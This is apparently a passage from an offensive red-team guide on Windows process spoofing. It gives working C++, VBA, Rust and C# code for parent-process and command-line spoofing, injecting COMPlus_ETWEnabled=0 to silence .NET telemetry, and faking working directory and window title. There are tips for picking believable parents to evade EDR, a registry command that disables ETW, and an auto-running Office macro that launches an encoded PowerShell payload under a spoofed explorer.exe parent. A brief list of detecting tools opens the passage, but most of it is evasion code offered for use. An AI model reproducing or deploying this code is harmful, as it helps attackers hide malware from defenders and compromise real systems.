[DETECT] Tools that SEE the spoof (spoofed PPID appears legitimate):
  - Process Hacker (standard view)
  - Task Manager
  - Sysmon Event ID 1 (ParentProcessId field is spoofed)
  - procmon.exe

[DETECT] Tools that CATCH the spoof (show real parent):
  - ETW: Microsoft-Windows-Kernel-Process provider
  - ProcMonXv2 (uses ETW, not PEB)
  - Sysmon (if kernel callbacks are configured)
  - EDRs with kernel-mode process creation callbacks

[OPSEC] Choose a believable parent:
  BAD:  lsass.exe → notepad.exe  (lsass NEVER spawns user apps)
  BAD:  winlogon.exe → chrome.exe
  GOOD: explorer.exe → notepad.exe  (explorer spawns apps all the time)
  GOOD: svchost.exe → rundll32.exe  (normal Windows pattern)
  GOOD: services.exe → conhost.exe  (normal Windows pattern)

[OPSEC] Combine with CmdLine spoofing for maximum stealth:
  → PPID spoofed to explorer.exe
  → CmdLine shows: "notepad.exe C:\\readme.txt"
  → Actual: executes malicious code
  → Behavioral rules based on parent + cmdline both evaded

5. Technique 3 — Environment Variable Spoofing

What it means: Inject custom environment variables into a child process's PEB before that process starts executing. This is especially powerful for injecting COMPlus_ETWEnabled=0 into .NET processes to silently disable Event Tracing for Windows (ETW), preventing the CLR from emitting telemetry.

[SPOOF] [PEB] [EVASION]

5.1 Why Environment Variable Spoofing Matters

Normal .NET process (PowerShell):
  ETW provider: CLR → emits assembly load events
  EDR/Sysmon sees: AmsiScanBuffer called, Assembly loaded, etc.
  Result: .NET-based tools (Rubeus, SharpHound) detected by ETW

With COMPlus_ETWEnabled=0 injected:
  CLR checks env var at startup → COMPlus_ETWEnabled=0 found
  CLR skips ETW provider registration (EventRegister not called)
  Result: NO CLR telemetry, NO assembly load events
  EDR sees: Nothing from CLR

5.2 How Environment Variables Are Stored

PEB.ProcessParameters.Environment
    → Points to a block of null-terminated wide strings:

    "VAR1=value1\0"
    "VAR2=value2\0"
    "COMPlus_ETWEnabled=1\0"   ← modify this
    ...
    "\0"                        ← double null = end of block

Method: Launch process suspended → read PEB → find Environment pointer
        → modify/inject variable in environment block → resume

5.3 C++ Environment Variable Spoofing

// env_var_spoof.cpp — Inject COMPlus_ETWEnabled=0 to disable .NET ETW
// Author: Based on Adam Chester (@_xpn_) PoC
// MITRE: T1562.006 — Indicator Removal: Clear Windows Event Logs

#include <windows.h>
#include <winternl.h>
#include <iostream>
#include <vector>

// Variable to inject into the child process
#define INJECT_VAR   L"COMPlus_ETWEnabled=0\0\0\0"
#define INJECT_LEN   (sizeof(L"COMPlus_ETWEnabled=0\0\0\0"))

// Target process to launch (PowerShell inherits our injected env)
#define TARGET_PROC  "powershell.exe"

typedef NTSTATUS(WINAPI* NtQueryInformationProcess_t)(
    HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG
);

PVOID RemoteRead(HANDLE hProc, PVOID addr, SIZE_T size) {
    PVOID buf = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    SIZE_T read = 0;
    ReadProcessMemory(hProc, addr, buf, size, &read);
    return buf;
}

BOOL RemoteWrite(HANDLE hProc, PVOID addr, PVOID data, SIZE_T size) {
    SIZE_T written = 0;
    return WriteProcessMemory(hProc, addr, data, size, &written);
}

int main() {
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    PROCESS_BASIC_INFORMATION pbi = { 0 };
    PEB pebLocal = { 0 };
    DWORD retLen = 0;

    printf("[*] Environment Variable Spoofing (COMPlus_ETWEnabled=0)\n");

    // Step 1: Spawn PowerShell SUSPENDED (inherits our environment)
    if (!CreateProcessA(NULL, (LPSTR)TARGET_PROC, NULL, NULL, FALSE,
        CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL,
        "C:\\Windows\\System32\\", &si, &pi)) {
        printf("[-] CreateProcess failed: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] %s spawned, PID: %lu\n", TARGET_PROC, pi.dwProcessId);

    // Step 2: Get PEB address
    NtQueryInformationProcess_t NtQIP = (NtQueryInformationProcess_t)
        GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
    NtQIP(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);

    // Step 3: Read PEB
    ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), NULL);
    printf("[+] PEB: 0x%p\n", pbi.PebBaseAddress);

    // Step 4: Read ProcessParameters to find Environment pointer
    RTL_USER_PROCESS_PARAMETERS* pp = (RTL_USER_PROCESS_PARAMETERS*)
        RemoteRead(pi.hProcess, pebLocal.ProcessParameters,
                   sizeof(RTL_USER_PROCESS_PARAMETERS) + 256);

    printf("[+] ProcessParameters: 0x%p\n", pebLocal.ProcessParameters);

    // Step 5: Read the current environment block
    // Environment is typically 4-8KB, read enough to find our target var
    PVOID envBlock = RemoteRead(pi.hProcess, pp->Environment, 4096);
    WCHAR* envPtr  = (WCHAR*)envBlock;

    // Step 6: Allocate new environment block in remote process
    // Strategy: Prepend our variable to the start of the env block
    // COMPlus_ETWEnabled=0 will override any existing setting

    // Allocate RW memory in remote process for new env block
    SIZE_T newEnvSize = INJECT_LEN + 4096;  // Injected var + original env
    LPVOID newEnvRemote = VirtualAllocEx(
        pi.hProcess, NULL, newEnvSize,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
    );

    // Build new env block: [COMPlus_ETWEnabled=0\0][original env...]
    std::vector<BYTE> newEnvLocal(newEnvSize, 0);
    memcpy(newEnvLocal.data(), INJECT_VAR, INJECT_LEN);
    // Copy original env after our injected var (minus trailing double-null of ours)
    memcpy(newEnvLocal.data() + INJECT_LEN - 2, envBlock, 4096);

    // Write new env block to remote process
    RemoteWrite(pi.hProcess, newEnvRemote, newEnvLocal.data(), newEnvSize);
    printf("[+] New env block written at: 0x%p\n", newEnvRemote);

    // Step 7: Update Environment pointer in ProcessParameters
    // Calculate offset of Environment field in RTL_USER_PROCESS_PARAMETERS
    DWORD_PTR envPtrOffset = (DWORD_PTR)pebLocal.ProcessParameters +
                              offsetof(RTL_USER_PROCESS_PARAMETERS, Environment);
    RemoteWrite(pi.hProcess, (PVOID)envPtrOffset, &newEnvRemote, sizeof(PVOID));
    printf("[+] Environment pointer updated to new block\n");

    // Step 8: Resume process — it now starts with COMPlus_ETWEnabled=0
    ResumeThread(pi.hThread);
    printf("[+] PowerShell resumed — ETW disabled via env var spoof\n");
    printf("[+] CLR will NOT register ETW providers — no assembly load events!\n");

    // Cleanup
    VirtualFree(envBlock, 0, MEM_RELEASE);
    VirtualFree(pp, 0, MEM_RELEASE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return 0;
}

5.4 Setting Environment Variable from Parent (Simpler Approach)

// Simpler: set the env var in PARENT before spawning child
// Child inherits it automatically (no PEB modification needed)
// DOWNSIDE: The env var appears in the parent process's env block

// Option 1: SetEnvironmentVariable in parent
SetEnvironmentVariableA("COMPlus_ETWEnabled", "0");
// Now CreateProcess — child inherits it

// Option 2: Pass custom env block to CreateProcess
const wchar_t customEnv[] =
    L"COMPlus_ETWEnabled=0\0"
    L"SystemRoot=C:\\Windows\0"
    L"PATH=C:\\Windows\\System32\0"
    L"\0";  // Double null terminates block

CreateProcessW(NULL, L"powershell.exe", NULL, NULL, FALSE,
    CREATE_NEW_CONSOLE,
    (LPVOID)customEnv,  // ← custom env block passed here
    NULL, &si, &pi);

5.5 Other Useful Environment Variables to Spoof

[EVASION] COMPlus_ETWEnabled=0
  → Disables all .NET ETW events (no assembly loads logged)
  → Affects: PowerShell, .NET offensive tools (Rubeus, SharpHound, etc.)

[EVASION] COMPlus_NGenAssemblyUsageLog=<random>
  → Prevents .NET from writing NGen usage logs to disk
  → Reduces forensic artifacts

[EVASION] DOTNET_ENVIRONMENT=Production
  → May bypass certain debug-mode behaviors / logging

[EVASION] COMPLUS_NoGuiFromShim=1
  → Suppresses .NET installer GUI popups

[OPSEC] Detection:
  → Injecting COMPlus_ vars via PEB manipulation is detectable
    by kernel-mode ETW callbacks (the write to env block in
    the remote process is observable)
  → Simply setting in parent env is more stealthy but less targeted

Registry equivalent (persistent, louder):
  REG ADD HKLM\Software\Microsoft\.NETFramework /v ETWEnabled /t REG_DWORD /d 0
  (This is detected by Splunk/Sysmon monitoring reg key changes)

6. Technique 4 — CurrentDirectory Spoofing

What it means: The CurrentDirectory field in RTL_USER_PROCESS_PARAMETERS defines the working directory of a process. Spoofing it makes a process appear to run from a legitimate location (e.g., C:\Windows\System32) while actually executing from a suspicious path.

[SPOOF] [PEB]

6.1 C++ CurrentDirectory Spoof

// currentdir_spoof.cpp — Spoof working directory of spawned process
// Makes malicious process appear to run from System32

#include <windows.h>
#include <winternl.h>
#include <iostream>

#define FAKE_DIR    L"C:\\Windows\\System32\\"   // Shown to tools
#define TARGET_CMD  "powershell.exe"

// (Using same RemoteRead/RemoteWrite helpers from §5.3)

int main() {
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    PROCESS_BASIC_INFORMATION pbi = { 0 };
    PEB pebLocal = { 0 };
    DWORD retLen = 0;

    // Spawn process with fake working directory as initial dir
    // CreateProcess lpCurrentDirectory parameter IS seen by tools at creation
    // For full control: spawn, then modify PEB.ProcessParameters.CurrentDirectory

    if (!CreateProcessA(NULL, (LPSTR)TARGET_CMD, NULL, NULL, FALSE,
        CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL,
        "C:\\Windows\\System32\\",  // Fake dir passed to CreateProcess
        &si, &pi)) {
        return 1;
    }

    // Get PEB
    NtQueryInformationProcess_t NtQIP = (NtQueryInformationProcess_t)
        GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
    NtQIP(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);
    ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), NULL);

    // Read ProcessParameters
    RTL_USER_PROCESS_PARAMETERS pp = { 0 };
    ReadProcessMemory(pi.hProcess, pebLocal.ProcessParameters, &pp, sizeof(pp), NULL);

    // Overwrite CurrentDirectory.Buffer with fake directory
    WCHAR fakeDir[] = FAKE_DIR;
    WriteProcessMemory(pi.hProcess, pp.CurrentDirectory.DosPath.Buffer,
                       fakeDir, sizeof(fakeDir), NULL);

    printf("[+] CurrentDirectory spoofed to: %ls\n", FAKE_DIR);

    ResumeThread(pi.hThread);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return 0;
}

7. Technique 5 — Window Title & Desktop Spoofing

What it means: Spoofing the WindowTitle and DesktopInfo fields in ProcessParameters affects what process enumeration tools display in the window title column, and can be used to make a process appear to be running in a different Windows station/desktop context.

[SPOOF] [PEB]

7.1 C++ Window Title Spoof

// window_title_spoof.cpp — Spoof window title in PEB

// After reading ProcessParameters from remote process (see §3.2):

// Overwrite WindowTitle.Buffer
WCHAR fakeTitle[] = L"Microsoft Windows Security Health Service\0";
WriteProcessMemory(pi.hProcess,
    pp->WindowTitle.Buffer,
    fakeTitle,
    sizeof(fakeTitle), NULL);

// Update WindowTitle.Length
USHORT newLen = (USHORT)(wcslen(fakeTitle) * sizeof(WCHAR));
DWORD_PTR titleLenOffset = (DWORD_PTR)pebLocal.ProcessParameters +
    offsetof(RTL_USER_PROCESS_PARAMETERS, WindowTitle) +
    offsetof(UNICODE_STRING, Length);
WriteProcessMemory(pi.hProcess, (PVOID)titleLenOffset, &newLen, sizeof(USHORT), NULL);

printf("[+] Window title spoofed to: Microsoft Windows Security Health Service\n");

8. Technique 6 — Combined Spoofing (PPID + CmdLine + EnvVar)

What it means: Maximum stealth is achieved by combining all techniques simultaneously: PPID spoofing (believable parent), command-line spoofing (innocent visible args), and environment variable spoofing (disable ETW). This is how advanced C2 frameworks like Cobalt Strike implement their spawnto and argue commands.

[SPOOF] [PPID] [PEB] [EVASION]

8.1 Cobalt Strike — Built-In Argue Command

[TOOL] Cobalt Strike — argue (CmdLine spoof)
  Beacon commands:
    argue notepad.exe  → sets fake args for all spawned processes
    spawnto x64 %windir%\system32\svchost.exe -k netsvcs

  How it works internally:
    1. CreateProcess(FAKE_ARGS, CREATE_SUSPENDED)
    2. Locate PEB in remote process
    3. Overwrite CommandLine.Buffer with real beacon args
    4. Inject beacon shellcode
    5. ResumeThread

[TOOL] Cobalt Strike — spawnto
  Sets the process that Cobalt Strike uses for post-exploitation
  Combines with PPID spoofing for clean process tree

8.2 Full Combined Attack — C++ (PPID + CmdLine)

// combined_spoof.cpp — Full combined attack: PPID spoof + CmdLine spoof

#include <windows.h>
#include <TlHelp32.h>
#include <winternl.h>
#include <iostream>

typedef NTSTATUS(WINAPI* NtQueryInformationProcess_t)(
    HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG
);

// ─── Configuration ─────────────────────────────────────────────
#define FAKE_PARENT   L"explorer.exe"       // Appear as child of this
#define FAKE_CMDLINE  "notepad.exe C:\\Windows\\readme.txt"   // Logged by EDR
#define REAL_CMDLINE  L"notepad.exe C:\\Users\\User\\malicious_payload.txt"  // Actual
// ───────────────────────────────────────────────────────────────

DWORD GetPIDByName(const wchar_t* name) {
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32W pe = { sizeof(pe) };
    while (Process32NextW(snap, &pe))
        if (!_wcsicmp(pe.szExeFile, name)) { CloseHandle(snap); return pe.th32ProcessID; }
    CloseHandle(snap);
    return 0;
}

int main() {
    printf("[*] Combined PPID + CmdLine Spoofing\n");

    // ─── Phase 1: Set up PPID spoofing ─────────────────────────
    DWORD parentPID = GetPIDByName(FAKE_PARENT);
    printf("[*] Spoofing parent → %ls (PID %lu)\n", FAKE_PARENT, parentPID);

    HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPID);
    SIZE_T attrSize = 0;
    InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
    LPPROC_THREAD_ATTRIBUTE_LIST attrList =
        (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
    InitializeProcThreadAttributeList(attrList, 1, 0, &attrSize);
    UpdateProcThreadAttribute(attrList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
        &hParent, sizeof(HANDLE), NULL, NULL);

    // ─── Phase 2: Spawn SUSPENDED with FAKE args ────────────────
    STARTUPINFOEXW si = { 0 };
    si.StartupInfo.cb = sizeof(si);
    si.lpAttributeList = attrList;
    PROCESS_INFORMATION pi = { 0 };

    // FAKE command line (what Sysmon logs)
    wchar_t fakeCmdW[256] = {0};
    mbstowcs(fakeCmdW, FAKE_CMDLINE, 255);

    BOOL ok = CreateProcessW(NULL, fakeCmdW, NULL, NULL, FALSE,
        CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
        NULL, L"C:\\Windows\\System32\\", (LPSTARTUPINFOW)&si, &pi);

    if (!ok) { printf("[-] CreateProcess failed: %lu\n", GetLastError()); return 1; }
    printf("[+] Process spawned (suspended), PID: %lu\n", pi.dwProcessId);

    // ─── Phase 3: Overwrite CmdLine with REAL args ──────────────
    NtQueryInformationProcess_t NtQIP = (NtQueryInformationProcess_t)
        GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");

    PROCESS_BASIC_INFORMATION pbi = { 0 };
    DWORD retLen = 0;
    NtQIP(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);

    PEB pebLocal = { 0 };
    ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), NULL);

    // Allocate and read ProcessParameters
    BYTE ppBuf[sizeof(RTL_USER_PROCESS_PARAMETERS) + 1024] = { 0 };
    ReadProcessMemory(pi.hProcess, pebLocal.ProcessParameters,
                      ppBuf, sizeof(ppBuf), NULL);
    RTL_USER_PROCESS_PARAMETERS* pp = (RTL_USER_PROCESS_PARAMETERS*)ppBuf;

    printf("[+] CommandLine.Buffer: 0x%p\n", pp->CommandLine.Buffer);

    // Write REAL command line into CommandLine.Buffer
    WCHAR realCmd[] = REAL_CMDLINE;
    WriteProcessMemory(pi.hProcess, pp->CommandLine.Buffer,
                       realCmd, sizeof(realCmd), NULL);

    // Update Length to reflect real cmdline length
    DWORD_PTR lenOffset = (DWORD_PTR)pebLocal.ProcessParameters +
        ((BYTE*)&pp->CommandLine.Length - ppBuf);
    USHORT newLen = (USHORT)(wcslen(realCmd) * sizeof(WCHAR));
    WriteProcessMemory(pi.hProcess, (PVOID)lenOffset, &newLen, sizeof(USHORT), NULL);

    printf("[+] Real cmdline written to PEB\n");

    // ─── Phase 4: Resume thread — both spoofs active ────────────
    ResumeThread(pi.hThread);
    printf("\n[+] DONE. Both spoofs active:\n");
    printf("    Sysmon sees:  child of %ls | args: %s\n", FAKE_PARENT, FAKE_CMDLINE);
    printf("    Reality:      child of this process | args: %ls\n", REAL_CMDLINE);

    // Cleanup
    DeleteProcThreadAttributeList(attrList);
    HeapFree(GetProcessHeap(), 0, attrList);
    CloseHandle(hParent);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return 0;
}

9. Technique 7 — VBA / Office Macro Spoofing

What it means: Implement both PPID spoofing and command-line argument spoofing directly in a VBA Office macro. This makes processes spawned by a malicious document appear to come from explorer.exe with innocent arguments — bypassing EDR rules like "Word spawned PowerShell."

[SPOOF] [PPID] [EVASION]

9.1 VBA Macro — PPID + CmdLine Spoof

' vba_spoof.vba — Office Macro: PPID + CmdLine spoofing
' Credit: Christophe Tafani-Dereeper, Will Burgess (Red Teaming in the EDR age)
' MITRE: T1134.004, T1564.010

Option Explicit

' ─── P/Invoke declarations ──────────────────────────────────────
Private Declare PtrSafe Function CreateProcess Lib "kernel32" _
    Alias "CreateProcessW" (ByVal lpApplicationName As String, _
    ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, _
    ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Boolean, _
    ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, _
    ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOEX, _
    lpProcessInformation As PROCESS_INFORMATION) As Boolean

Private Declare PtrSafe Function OpenProcess Lib "kernel32" _
    (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Boolean, _
    ByVal dwProcessId As Long) As LongPtr

Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32" _
    (ByVal lpAttributeList As LongPtr, ByVal dwAttributeCount As Long, _
    ByVal dwFlags As Long, ByRef lpSize As Long) As Boolean

Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32" _
    (ByVal lpAttributeList As LongPtr, ByVal dwFlags As Long, _
    ByVal Attribute As LongPtr, ByRef lpValue As LongPtr, _
    ByVal cbSize As Long, ByVal lpPreviousValue As LongPtr, _
    ByVal lpReturnSize As LongPtr) As Boolean

Private Declare PtrSafe Function DeleteProcThreadAttributeList Lib "kernel32" _
    (ByVal lpAttributeList As LongPtr)

Private Declare PtrSafe Function CloseHandle Lib "kernel32" _
    (ByVal hObject As LongPtr) As Boolean

Private Declare PtrSafe Function ResumeThread Lib "kernel32" _
    (ByVal hThread As LongPtr) As Long

Private Declare PtrSafe Function ReadProcessMemory Lib "kernel32" _
    (ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, _
    ByRef lpBuffer As Any, ByVal nSize As Long, _
    ByRef lpNumberOfBytesRead As Long) As Boolean

Private Declare PtrSafe Function WriteProcessMemory Lib "kernel32" _
    (ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, _
    ByRef lpBuffer As Any, ByVal nSize As Long, _
    ByRef lpNumberOfBytesWritten As Long) As Boolean

Private Declare PtrSafe Function NtQueryInformationProcess Lib "ntdll" _
    (ByVal ProcessHandle As LongPtr, ByVal ProcessInformationClass As Long, _
    ByRef ProcessInformation As Any, ByVal ProcessInformationLength As Long, _
    ByRef ReturnLength As Long) As Long

Private Declare PtrSafe Function HeapAlloc Lib "kernel32" _
    (ByVal hHeap As LongPtr, ByVal dwFlags As Long, _
    ByVal dwBytes As Long) As LongPtr

Private Declare PtrSafe Function GetProcessHeap Lib "kernel32" () As LongPtr

Private Declare PtrSafe Function CreateToolhelp32Snapshot Lib "kernel32" _
    (ByVal dwFlags As Long, ByVal th32ProcessID As Long) As LongPtr

Private Declare PtrSafe Function Process32FirstW Lib "kernel32" _
    (ByVal hSnapshot As LongPtr, ByRef lppe As PROCESSENTRY32) As Boolean

Private Declare PtrSafe Function Process32NextW Lib "kernel32" _
    (ByVal hSnapshot As LongPtr, ByRef lppe As PROCESSENTRY32) As Boolean

' ─── Structures ──────────────────────────────────────────────────
Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long: dwY As Long
    dwXSize As Long: dwYSize As Long
    dwXCountChars As Long: dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As LongPtr
    hStdInput As LongPtr
    hStdOutput As LongPtr
    hStdError As LongPtr
End Type

Private Type STARTUPINFOEX
    StartupInfo As STARTUPINFO
    lpAttributeList As LongPtr
End Type

Private Type PROCESS_INFORMATION
    hProcess As LongPtr
    hThread As LongPtr
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type PROCESSENTRY32
    dwSize As Long
    cntUsage As Long
    th32ProcessID As Long
    th32DefaultHeapID As LongPtr
    th32ModuleID As Long
    cntThreads As Long
    th32ParentProcessID As Long
    pcPriClassBase As Long
    dwFlags As Long
    szExeFile(260) As Byte
End Type

' ─── Get Explorer PID ────────────────────────────────────────────
Function GetExplorerPID() As Long
    Dim hSnap As LongPtr
    Dim pe32 As PROCESSENTRY32
    Dim procName As String

    hSnap = CreateToolhelp32Snapshot(&H2, 0)  ' TH32CS_SNAPPROCESS
    pe32.dwSize = LenB(pe32)

    If Process32FirstW(hSnap, pe32) Then
        Do
            procName = ""
            Dim i As Integer
            For i = 0 To 259
                If pe32.szExeFile(i * 2) = 0 And pe32.szExeFile(i * 2 + 1) = 0 Then Exit For
                procName = procName & Chr(pe32.szExeFile(i * 2))
            Next i
            If LCase(procName) = "explorer.exe" Then
                GetExplorerPID = pe32.th32ProcessID
                CloseHandle hSnap
                Exit Function
            End If
        Loop While Process32NextW(hSnap, pe32)
    End If

    CloseHandle hSnap
    GetExplorerPID = 0
End Function

' ─── Main spoof function ─────────────────────────────────────────
Sub SpoofAndSpawn()
    Dim si As STARTUPINFOEX
    Dim pi As PROCESS_INFORMATION
    Dim hParent As LongPtr
    Dim attrSize As Long
    Dim attrList As LongPtr

    ' Fake args (Sysmon logs this)
    Dim fakeCmd As String
    fakeCmd = "powershell.exe -WindowStyle Normal"

    ' Real args (process executes this)
    ' ⚠ fakeCmd must be >= length of realCmd
    Dim realCmd As String
    realCmd = "powershell.exe -enc <BASE64_PAYLOAD_HERE>"

    Dim explorerPID As Long
    explorerPID = GetExplorerPID()
    If explorerPID = 0 Then MsgBox "Explorer not found!": Exit Sub

    ' Open handle to explorer for PPID spoof
    hParent = OpenProcess(&H80, False, explorerPID)  ' PROCESS_CREATE_PROCESS

    ' Initialize attribute list
    InitializeProcThreadAttributeList 0, 1, 0, attrSize
    attrList = HeapAlloc(GetProcessHeap(), 0, attrSize)
    InitializeProcThreadAttributeList attrList, 1, 0, attrSize

    ' Set parent process attribute
    Dim PROC_THREAD_ATTRIBUTE_PARENT As LongPtr
    PROC_THREAD_ATTRIBUTE_PARENT = &H20000  ' 0x00020000
    UpdateProcThreadAttribute attrList, 0, PROC_THREAD_ATTRIBUTE_PARENT, _
        hParent, 8, 0, 0

    ' Create process with fake args + PPID spoof
    si.StartupInfo.cb = LenB(si)
    si.lpAttributeList = attrList

    Dim EXTENDED_STARTUPINFO_PRESENT As Long
    EXTENDED_STARTUPINFO_PRESENT = &H80000

    CreateProcess vbNullString, fakeCmd, 0, 0, False, _
        &H4 Or EXTENDED_STARTUPINFO_PRESENT, 0, _
        "C:\Windows\System32\", si, pi

    ' Now overwrite CmdLine in PEB (see §3 for full implementation)
    ' ... ReadProcessMemory / WriteProcessMemory to update CommandLine.Buffer ...

    ResumeThread pi.hThread

    DeleteProcThreadAttributeList attrList
    CloseHandle hParent
    CloseHandle pi.hProcess
    CloseHandle pi.hThread
End Sub

' Auto-run on document open
Sub AutoOpen()
    SpoofAndSpawn
End Sub

10. Technique 8 — Rust / C# Implementations

What it means: Modern red team tooling increasingly uses Rust or C# to implement argument spoofing. Rust provides memory safety with low-level Win32 API access; C# enables in-memory execution without dropping files.

[SPOOF] [TOOL]

10.1 Rust — Argument Spoofing (RustRedOps)

# Cargo.toml
[package]
name = "args_spoofing"
version = "0.1.0"
edition = "2021"

[dependencies]
windows = { version = "0.52", features = [
    "Win32_System_Threading",
    "Win32_System_Diagnostics_Debug",
    "Win32_Foundation",
    "Win32_System_Memory",
] }
winapi = { version = "0.3", features = ["processthreadsapi", "winnt", "memoryapi"] }
// src/main.rs — Argument spoofing in Rust
// Part of RustRedOps project (github.com/joaoviictorti/RustRedOps)

use std::ffi::OsStr;
use std::os::windows::ffi::OsStrExt;
use windows::Win32::Foundation::*;
use windows::Win32::System::Threading::*;
use windows::Win32::System::Diagnostics::Debug::ReadProcessMemory;
use windows::Win32::System::Memory::*;

fn to_wide(s: &str) -> Vec<u16> {
    OsStr::new(s)
        .encode_wide()
        .chain(std::iter::once(0))
        .collect()
}

fn main() {
    unsafe {
        // Configuration
        let fake_cmd = to_wide("notepad.exe C:\\Windows\\System32\\kernel32.dll");
        let real_cmd = to_wide("notepad.exe C:\\malicious\\payload.txt");

        println!("[*] Rust Argument Spoofing PoC");
        println!("[*] Fake: notepad.exe C:\\Windows\\System32\\kernel32.dll");
        println!("[*] Real: notepad.exe C:\\malicious\\payload.txt");

        // Create process suspended with fake args
        let mut si = STARTUPINFOW::default();
        si.cb = std::mem::size_of::<STARTUPINFOW>() as u32;
        let mut pi = PROCESS_INFORMATION::default();

        let mut fake_mut: Vec<u16> = fake_cmd.clone();

        let created = CreateProcessW(
            None,
            windows::core::PWSTR(fake_mut.as_mut_ptr()),
            None,
            None,
            false,
            CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
            None,
            windows::core::PCWSTR(to_wide("C:\\Windows\\System32\\").as_ptr()),
            &si,
            &mut pi,
        );

        if created.is_err() {
            eprintln!("[-] CreateProcess failed");
            return;
        }
        println!("[+] Process PID: {}", pi.dwProcessId);

        // Get PEB address via NtQueryInformationProcess
        // (using ntapi crate or manual GetProcAddress)
        // ... (implementation similar to C++ version) ...

        // Resume thread
        let _ = ResumeThread(pi.hThread);
        println!("[+] Process resumed with spoofed args");

        let _ = CloseHandle(pi.hProcess);
        let _ = CloseHandle(pi.hThread);
    }
}
# Build for Windows from Linux
cargo build --target x86_64-pc-windows-gnu --release

# Or on Windows
cargo build --release
target\release\args_spoofing.exe

10.2 C# — NtQueryInformationProcess Helper

// PEBHelper.cs — Read PEB fields from a remote process (C# helper)

using System;
using System.Runtime.InteropServices;

public static class PEBHelper
{
    [DllImport("ntdll.dll")]
    static extern int NtQueryInformationProcess(
        IntPtr processHandle, int processInfoClass,
        ref PROCESS_BASIC_INFORMATION processInfo,
        int processInfoLength, out int returnLength);

    [DllImport("kernel32.dll")]
    public static extern bool ReadProcessMemory(
        IntPtr hProcess, IntPtr baseAddress,
        byte[] buffer, int size, out int bytesRead);

    [DllImport("kernel32.dll")]
    public static extern bool WriteProcessMemory(
        IntPtr hProcess, IntPtr baseAddress,
        byte[] buffer, int size, out int bytesWritten);

    [StructLayout(LayoutKind.Sequential)]
    struct PROCESS_BASIC_INFORMATION {
        IntPtr Reserved1;
        public IntPtr PebBaseAddress;
        IntPtr Reserved2_0, Reserved2_1;
        IntPtr UniqueProcessId;
        IntPtr Reserved3;
    }

    /// <summary>
    /// Get PEB base address for a remote process handle
    /// </summary>
    public static IntPtr GetPebAddress(IntPtr hProcess) {
        var pbi = new PROCESS_BASIC_INFORMATION();
        int returnLen = 0;
        NtQueryInformationProcess(hProcess, 0, ref pbi,
            Marshal.SizeOf(pbi), out returnLen);
        return pbi.PebBaseAddress;
    }

    /// <summary>
    /// Read the CommandLine.Buffer pointer from PEB of remote process
    /// Returns the remote address of the CommandLine string buffer
    /// </summary>
    public static IntPtr GetCommandLineBufferAddress(IntPtr hProcess) {
        IntPtr pebAddr = GetPebAddress(hProcess);

        // Read PEB (read 0x100 bytes covering ProcessParameters pointer)
        byte[] peb = new byte[0x100];
        ReadProcessMemory(hProcess, pebAddr, peb, peb.Length, out _);

        // ProcessParameters is at offset 0x20 in x64 PEB
        IntPtr ppAddr = new IntPtr(BitConverter.ToInt64(peb, 0x20));

        // Read ProcessParameters
        byte[] pp = new byte[0x400];
        ReadProcessMemory(hProcess, ppAddr, pp, pp.Length, out _);

        // CommandLine.Buffer is at offset 0x70 in x64 RTL_USER_PROCESS_PARAMETERS
        return new IntPtr(BitConverter.ToInt64(pp, 0x70));
    }

    /// <summary>
    /// Overwrite CommandLine in a suspended remote process
    /// </summary>
    public static void OverwriteCommandLine(IntPtr hProcess, string newCmdLine) {
        IntPtr cmdBufAddr = GetCommandLineBufferAddress(hProcess);
        byte[] newCmdBytes = System.Text.Encoding.Unicode.GetBytes(newCmdLine + "\0");
        WriteProcessMemory(hProcess, cmdBufAddr, newCmdBytes, newCmdBytes.Length, out _);
        Console.WriteLine($"[+] CmdLine overwritten at 0x{cmdBufAddr.ToInt64():X}");
    }
}

11. Tools Reference

11.1 SelectMyParent — Didier Stevens (Original PPID Tool)

[TOOL] SelectMyParent.exe
